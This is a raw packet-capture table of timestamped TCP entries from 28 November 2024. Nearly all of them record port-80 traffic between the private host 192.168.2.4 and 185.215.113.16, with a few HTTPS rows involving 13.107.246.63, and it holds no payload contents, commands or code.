Nov 28, 2024 13:09:55.637912035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.637994051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.638046980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.639038086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.639110088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.639158010 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.639282942 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.640167952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.640284061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.640347004 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.641309977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.641324043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.641369104 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.642370939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.690377951 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.763324022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.763475895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.763567924 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.763861895 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.763973951 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.764120102 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.765007019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.765119076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.765260935 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.766161919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.766247988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.766300917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.767272949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.767388105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.767441034 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.768399954 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.768532991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.768594980 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.769541025 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.769640923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.769687891 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.783051014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.783065081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.783109903 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.783262014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.783389091 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.783431053 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.784418106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.784557104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.784605026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.785543919 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.785655022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.785710096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.786703110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.786870956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.786915064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.787791014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.787928104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.787982941 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.788973093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.789040089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.789098024 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.790079117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.790185928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.790237904 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.791184902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.791416883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.791466951 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.792320013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.792507887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.792618036 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.793447971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.793498039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.793560028 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.794568062 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.794610977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.794658899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.795730114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.795788050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.795881987 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.796930075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.796986103 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.797034025 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.798046112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.798166990 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.798207998 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.799073935 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.799226999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.799271107 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.800215960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.800312996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.800405979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.801367044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.801477909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.801548004 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.802486897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.802690983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.802736044 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.803664923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.803731918 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.803776026 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.804752111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.804826975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.804868937 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.805860043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.806006908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.806113005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.807013035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.807193041 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.807266951 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.808130026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.808247089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.808331966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.809319973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.809397936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.809474945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.810380936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.810398102 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:55.810456991 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:55.810477018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.810724020 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.811507940 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.811609030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.811784983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.811899900 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:55.811904907 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:55.812134027 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:55.812675953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.812815905 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.812875032 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.813731909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.813785076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.813855886 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.814920902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.815023899 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.815068960 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.816025019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.816132069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.816199064 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.817114115 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.817243099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.817307949 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.818279028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.818389893 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.818531036 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.819410086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.819488049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.819592953 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.820519924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.820611000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.820663929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.820770025 CET	49746	443	192.168.2.4	13.107.246.63
Nov 28, 2024 13:09:55.821645975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.821749926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.821818113 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.822890043 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.823024988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.823066950 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.823925018 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.824073076 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.824115038 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.825166941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.825287104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.825368881 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.826173067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.826303959 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.826379061 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.827306986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.827426910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.827502966 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.828500986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.828583956 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.828691006 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.828841925 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.829581022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.829643011 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.829688072 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.830705881 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.830861092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.830923080 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.831808090 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.831933022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.831991911 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.832945108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.833019972 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.833066940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.834110975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.834237099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.834346056 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.838279009 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.867328882 CET	443	49746	13.107.246.63	192.168.2.4
Nov 28, 2024 13:09:55.955420971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.955523014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.955595970 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.955960989 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.956085920 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.956141949 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.957073927 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.957209110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.957263947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.958225012 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.958276987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.958349943 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.959399939 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.959506035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.959569931 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.960664034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.960731030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.960779905 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.961652994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.961723089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.961766005 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.975332975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.975388050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.975434065 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.975837946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.975950003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.975996017 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.977070093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.977283955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.977358103 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.978159904 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.978243113 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.978291988 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.979213953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.979346991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.979417086 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.980345964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.980453014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.980590105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.981559038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.981635094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.981735945 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.982624054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.982722044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.982763052 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.983731985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.983841896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.983885050 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.984879971 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.984950066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.985044003 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.986020088 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.986135006 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.986177921 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.987200975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.987353086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.987407923 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.988332033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.988543034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.988584995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.989409924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.989523888 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.989607096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.990511894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.990642071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.990686893 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.991801977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.991897106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.991991043 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.992786884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.992922068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.993037939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.993899107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.994049072 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.994117022 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.995023966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.995157003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.995301008 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.996155977 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.996273994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.996349096 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.997297049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.997401953 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.997481108 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.998424053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.998465061 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.998506069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:55.999499083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.999618053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:55.999680042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.000652075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.000770092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.000860929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.001792908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.001848936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.001914024 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.002926111 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.003045082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.003112078 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.004101992 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.004151106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.004229069 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.005196095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.005395889 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.005436897 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.006339073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.006426096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.006479979 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.007523060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.007642031 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.007698059 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.008627892 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.008718014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.008806944 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.009722948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.009804964 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.009898901 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.010858059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.010977983 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.011030912 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.011944056 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.012057066 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.012119055 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.013119936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.013148069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.013195992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.014260054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.014317989 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.014379978 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.015278101 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.015455008 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.015467882 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.015542984 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.016488075 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.016594887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.016685963 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.017596960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.017724037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.017848015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.018717051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.018834114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.018876076 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.019855022 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.020011902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.020090103 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.021040916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.021126986 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.021188974 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.022296906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.022377014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.022418022 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:56.023227930 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.023384094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:56.023433924 CET	49745	80	192.168.2.4	185.215.113.16
